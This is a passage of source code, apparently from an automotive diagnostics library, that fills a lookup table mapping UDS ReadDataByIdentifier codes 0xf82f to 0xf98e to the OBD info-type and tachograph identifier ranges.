UDS_RDBI.dataIdentifiers[0xf82f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf830] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf831] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf832] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf833] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf834] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf835] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf836] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf837] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf838] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf839] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf83f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf840] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf841] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf842] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf843] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf844] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf845] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf846] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf847] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf848] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf849] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf84f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf850] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf851] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf852] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf853] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf854] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf855] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf856] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf857] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf858] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf859] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf85f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf860] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf861] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf862] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf863] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf864] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf865] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf866] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf867] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf868] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf869] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf86f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf870] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf871] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf872] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf873] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf874] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf875] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf876] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf877] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf878] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf879] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf87f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf880] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf881] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf882] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf883] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf884] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf885] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf886] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf887] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf888] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf889] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf88f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf890] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf891] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf892] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf893] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf894] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf895] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf896] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf897] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf898] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf899] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89a] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89b] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89c] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89d] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89e] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf89f] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8a9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8aa] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ab] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ac] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ad] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ae] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8af] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8b9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ba] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8bb] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8bc] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8bd] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8be] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8bf] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8c9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ca] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8cb] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8cc] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8cd] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ce] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8cf] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8d9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8da] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8db] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8dc] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8dd] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8de] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8df] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8e9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ea] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8eb] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ec] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ed] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ee] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ef] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f0] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f1] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f2] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f3] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f4] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f5] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f6] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f7] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f8] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8f9] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fa] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fb] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fc] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fd] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8fe] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf8ff] = "OBDInfoTypes_F800_F8FF" UDS_RDBI.dataIdentifiers[0xf900] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf901] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf902] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf903] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf904] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf905] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf906] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf907] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf908] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf909] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf90f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf910] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf911] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf912] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf913] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf914] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf915] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf916] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf917] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf918] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf919] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf91f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf920] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf921] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf922] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf923] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf924] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf925] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf926] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf927] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf928] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf929] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf92f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf930] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf931] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf932] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf933] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf934] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf935] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf936] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf937] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf938] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf939] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf93f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf940] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf941] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf942] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf943] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf944] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf945] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf946] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf947] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf948] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf949] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf94f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf950] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf951] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf952] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf953] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf954] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf955] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf956] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf957] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf958] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf959] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf95f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf960] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf961] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf962] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf963] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf964] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf965] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf966] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf967] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf968] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf969] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf96f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf970] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf971] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf972] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf973] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf974] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf975] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf976] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf977] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf978] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf979] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97e] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf97f] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf980] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf981] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf982] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf983] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf984] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf985] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf986] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf987] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf988] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf989] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98a] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98b] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98c] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98d] = "tachographPIds_F900_F9FF" UDS_RDBI.dataIdentifiers[0xf98e] = "tachographPIds_F900_F9FF" 